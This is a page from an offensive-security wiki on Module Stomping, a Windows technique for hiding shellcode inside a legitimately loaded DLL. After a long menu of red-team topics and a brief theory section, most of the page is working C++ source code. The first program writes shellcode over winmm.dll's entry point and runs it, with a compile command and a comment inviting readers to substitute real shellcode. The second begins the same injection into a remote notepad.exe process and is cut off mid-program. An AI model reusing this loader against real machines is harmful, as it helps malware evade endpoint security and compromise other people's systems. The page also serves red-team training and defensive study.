Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • Resources

Was this helpful?

Edit on GitHub
  1. Red-Teaming
  2. Execution
  3. Code & Process Injection

Module Stomping Shellcode Injection

Theory

Module Stomping is an advanced defense evasion technique where an attacker loads a legitimate DLL into memory and then overwrites its executable code (usually the .text section or entry point) with malicious shellcode. Since the DLL remains mapped in the process memory, traditional security tools might overlook the malicious modifications, assuming it is a legitimate module.

This technique is effective because:

  • The DLL remains registered in the PEB (Process Environment Block)

  • Memory scanners may not flag it as suspicious since it appears as a legitimate loaded module

  • Overwriting the .text section allows execution of arbitrary code

Execution Flow

  1. Injects some benign Windows DLL into a remote or local process

  2. Overwrites DLL's, loaded in step 1, AddressOfEntryPoint point with shellcode

  3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2

Practice

The following code implements Module Stomping by loading the winmm.dll into the current process, and overwrite its .text section with our shellcode.

ModuleStomping.cpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

typedef HMODULE (WINAPI *pLoadLibraryExW)(
    LPCWSTR lpLibFileName,
    HANDLE hFile,
    DWORD dwFlags
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif

// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    // Shellcode - replace with your actual shellcode
    // calc.exe
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);

    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    // Get handle to kernel32.dll to use LoadLibraryExW
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    if (!hKernel32) {
        std::cerr << "Failed to get handle to kernel32.dll" << std::endl;
        return 1;
    }

    pLoadLibraryExW LoadLibraryExW = (pLoadLibraryExW)GetProcAddress(hKernel32, "LoadLibraryExW");
    if (!LoadLibraryExW) {
        std::cerr << "Failed to get address of LoadLibraryExW" << std::endl;
        return 1;
    }

    // Choose a DLL to stomp - using a non-critical DLL
    const wchar_t* dllToStomp = L"winmm.dll";
    
    std::cout << "Loading a fresh copy of the DLL for stomping..." << std::endl;
    
    // Load a fresh copy of the DLL with DONT_RESOLVE_DLL_REFERENCES flag
    // This loads the DLL but doesn't execute its initialization routines
    HMODULE hModule = LoadLibraryExW(dllToStomp, NULL, DONT_RESOLVE_DLL_REFERENCES);
    
    if (!hModule) {
        std::cerr << "Failed to load module for stomping. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // Get module information
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
        std::cerr << "Failed to get module information. Error: " << GetLastError() << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Successfully loaded module at address: 0x" << std::hex << moduleInfo.lpBaseOfDll << std::endl;
    std::cout << "Module size: " << std::dec << moduleInfo.SizeOfImage << " bytes" << std::endl;

    // Find the .text section to overwrite
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)moduleInfo.lpBaseOfDll + dosHeader->e_lfanew);
    
    // Find the entry point
    PVOID targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + ntHeader->OptionalHeader.AddressOfEntryPoint);
    
    // If entry point is not suitable, use a fixed offset
    if (!targetAddress) {
        targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + 0x1000); // Skip PE header
    }

    std::cout << "Target address for stomping: 0x" << std::hex << targetAddress << std::endl;

    // Change memory protection to allow writing
    HANDLE hProc = GetCurrentProcess();
    DWORD oldProtect = 0;
    PVOID baseAddress = targetAddress;
    SIZE_T regionSize = length;
    NTSTATUS status;

    status = NtProtectVirtualMemory(hProc, &baseAddress, &regionSize, PAGE_READWRITE, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    // Write shellcode to the module's memory
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory(hProc, targetAddress, decoded, length, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module" << std::endl;

    // Restore original memory protection
    status = NtProtectVirtualMemory(hProc, &baseAddress, &regionSize, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "Failed to restore memory protection. Status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Executing stomped module code..." << std::endl;

    // Execute the shellcode
    FARPROC stomped_func = (FARPROC)targetAddress;
    stomped_func();

    std::cout << "Execution completed" << std::endl;
    
    // Optionally free the library when done
    // FreeLibrary(hModule);
    
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
} 

We can compile it from linux using following command

x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static

The following code implements Module Stomping by loading the winmm.dll into a remote notepad.exe process, and overwrite its .text section with our shellcode.

ModuleStomping.cpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>

// NT API typedefs and structures
typedef LONG NTSTATUS;

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

// NT API function typedefs
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
    HANDLE Handle,
    BOOLEAN Alertable,
    PLARGE_INTEGER Timeout
);

typedef NTSTATUS (NTAPI *pNtClose)(
    HANDLE Handle
);

typedef NTSTATUS (NTAPI *pNtFreeVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType
);

typedef HMODULE (WINAPI *pLoadLibraryExW)(
    LPCWSTR lpLibFileName,
    HANDLE hFile,
    DWORD dwFlags
);

// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif

// Function to find a process by name
DWORD FindProcessId(const wchar_t* processName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (snapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W processEntry;
        processEntry.dwSize = sizeof(processEntry);
        
        if (Process32FirstW(snapshot, &processEntry)) {
            do {
                if (_wcsicmp(processEntry.szExeFile, processName) == 0) {
                    pid = processEntry.th32ProcessID;
                    break;
                }
            } while (Process32NextW(snapshot, &processEntry));
        }
        CloseHandle(snapshot);
    }
    
    return pid;
}

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    //calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);
    
    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)GetProcAddress(hNtdll, "NtWaitForSingleObject");
    pNtClose NtClose = (pNtClose)GetProcAddress(hNtdll, "NtClose");
    pNtFreeVirtualMemory NtFreeVirtualMemory = (pNtFreeVirtualMemory)GetProcAddress(hNtdll, "NtFreeVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory || 
        !NtCreateThreadEx || !NtWaitForSingleObject || !NtClose || !NtFreeVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    HANDLE hProc = NULL;
    HANDLE hThread = NULL;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Find a target process - for example, notepad.exe
    const wchar_t* targetProcess = L"notepad.exe";
    DWORD pid = FindProcessId(targetProcess);
    
    if (pid == 0) {
        std::wcout << L"Target process " << targetProcess << L" not found. Please start it first." << std::endl;
        return 1;
    }
    
    std::cout << "Found target process with PID: " << pid << std::endl;
    
    // Open the target process with all access
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        std::cerr << "Failed to open target process. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // Validate that we have a valid process handle
    if (hProc == NULL) {
        std::cerr << "No valid target process handle provided" << std::endl;
        return 1;
    }

    // Choose a single DLL to inject and stomp
    const char* dllToStomp = "C:\\Windows\\System32\\winmm.dll";
    std::cout << "Attempting to inject: " << dllToStomp << std::endl;
    
    // Allocate memory for the DLL path in the remote process
    size_t pathLen = strlen(dllToStomp) + 1;
    PVOID remoteBuffer = NULL;
    SIZE_T regionSize = pathLen;
    
    status = NtAllocateVirtualMemory(hProc, &remoteBuffer, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        CloseHandle(hProc);
        return 1;
    }

    // Write the DLL path to the remote process
    SIZE_T bytesWritten = 0;
